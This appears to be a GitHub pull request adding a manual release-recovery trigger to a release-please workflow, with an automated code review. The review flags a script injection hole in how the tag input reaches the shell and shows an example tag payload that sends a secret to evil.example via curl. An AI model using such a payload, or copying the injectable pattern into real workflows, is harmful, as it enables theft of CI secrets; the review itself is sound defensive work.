fix(ci): allow manual release publish recovery#106
Conversation
Greptile SummaryThis PR adds
Confidence Score: 4/5Safe to merge after fixing the script injection vulnerability in the Decide publish mode step. One P1 security finding remains: user-supplied tag input is interpolated directly into a shell script, which is a confirmed script injection vector per GitHub's security hardening guidance. The fix is a one-line change (move to env: block). Logic is otherwise sound — quality gates, already-published guard, and conditional execution all look correct. .github/workflows/release-please.yml — the Decide publish mode step (lines 32–45)
|
| Filename | Overview |
|---|---|
| .github/workflows/release-please.yml | Adds workflow_dispatch trigger and "Decide publish mode" step for manual release recovery; contains a script injection vulnerability where user-supplied tag input is interpolated directly into shell script text. |
Flowchart
%%{init: {'theme': 'neutral'}}%%
flowchart TD
A[Workflow Triggered] --> B{Event type?}
B -->|push to master| C[Run release-please-action]
B -->|workflow_dispatch| D[Skip release-please-action]
C --> E{release_created?}
E -->|true| F[should_publish=true\ncheckout_ref=github.sha]
E -->|false| G[should_publish=false\nStop]
D --> H[should_publish=true\ncheckout_ref=input tag]
F --> I[actions/checkout @ ref]
H --> I
I --> J[pnpm install]
J --> K{Version already on npm?}
K -->|yes| L[SKIP_PUBLISH=true\nStop]
K -->|no| M[Quality gates\nlint / format / typecheck / build / test]
M --> N[pnpm publish --provenance]
Reviews (1): Last reviewed commit: "fix(ci): allow manual release publish re..." | Re-trigger Greptile
| EVENT_NAME="${{ github.event_name }}" | ||
| MANUAL_TAG="${{ github.event.inputs.tag }}" | ||
| RELEASE_CREATED="${{ steps.release.outputs.release_created }}" |
There was a problem hiding this comment.
Script injection via user-controlled input
${{ github.event.inputs.tag }} is interpolated directly into the shell script text before the runner executes it. A collaborator who triggers workflow_dispatch with a crafted tag such as v1.0.0" && curl https://evil.example/exfil?s=$SECRET && echo " will have those commands executed in the runner. GitHub's own security-hardening guide explicitly flags this pattern. Pass the value through env: so the runner receives it as a literal environment variable instead.
| EVENT_NAME="${{ github.event_name }}" | |
| MANUAL_TAG="${{ github.event.inputs.tag }}" | |
| RELEASE_CREATED="${{ steps.release.outputs.release_created }}" | |
| env: | |
| MANUAL_TAG: ${{ github.event.inputs.tag }} | |
| RELEASE_CREATED: ${{ steps.release.outputs.release_created }} | |
| run: | | |
| EVENT_NAME="${{ github.event_name }}" |
Then replace MANUAL_TAG="${{ github.event.inputs.tag }}" and RELEASE_CREATED="${{ steps.release.outputs.release_created }}" with just the references to the env vars that are now already defined above.
| if [ "$EVENT_NAME" = "workflow_dispatch" ]; then | ||
| echo "should_publish=true" >> "$GITHUB_OUTPUT" | ||
| echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT" | ||
| elif [ "$RELEASE_CREATED" = "true" ]; then |
There was a problem hiding this comment.
No validation that the provided tag exists
checkout_ref is set to whatever string the caller provides with no guard. If the tag is mis-typed (e.g. 1.10.0 instead of v1.10.0), the actions/checkout step will fail with a cryptic ref-not-found error rather than a clear diagnostic. A quick existence check before writing the output would surface the problem early:
| if [ "$EVENT_NAME" = "workflow_dispatch" ]; then | |
| echo "should_publish=true" >> "$GITHUB_OUTPUT" | |
| echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT" | |
| elif [ "$RELEASE_CREATED" = "true" ]; then | |
| if [ "$EVENT_NAME" = "workflow_dispatch" ]; then | |
| if ! git ls-remote --exit-code --tags origin "refs/tags/$MANUAL_TAG" > /dev/null 2>&1; then | |
| echo "::error::Tag '$MANUAL_TAG' does not exist in this repository." | |
| exit 1 | |
| fi | |
| echo "should_publish=true" >> "$GITHUB_OUTPUT" | |
| echo "checkout_ref=$MANUAL_TAG" >> "$GITHUB_OUTPUT" |
Summary
Why
The fallback publish workflow can pass quality gates but still fail npm publish because the trusted publisher configuration is tied to
elease-please.yml. This adds a safe recovery path for already-tagged releases like �1.10.0.
Verification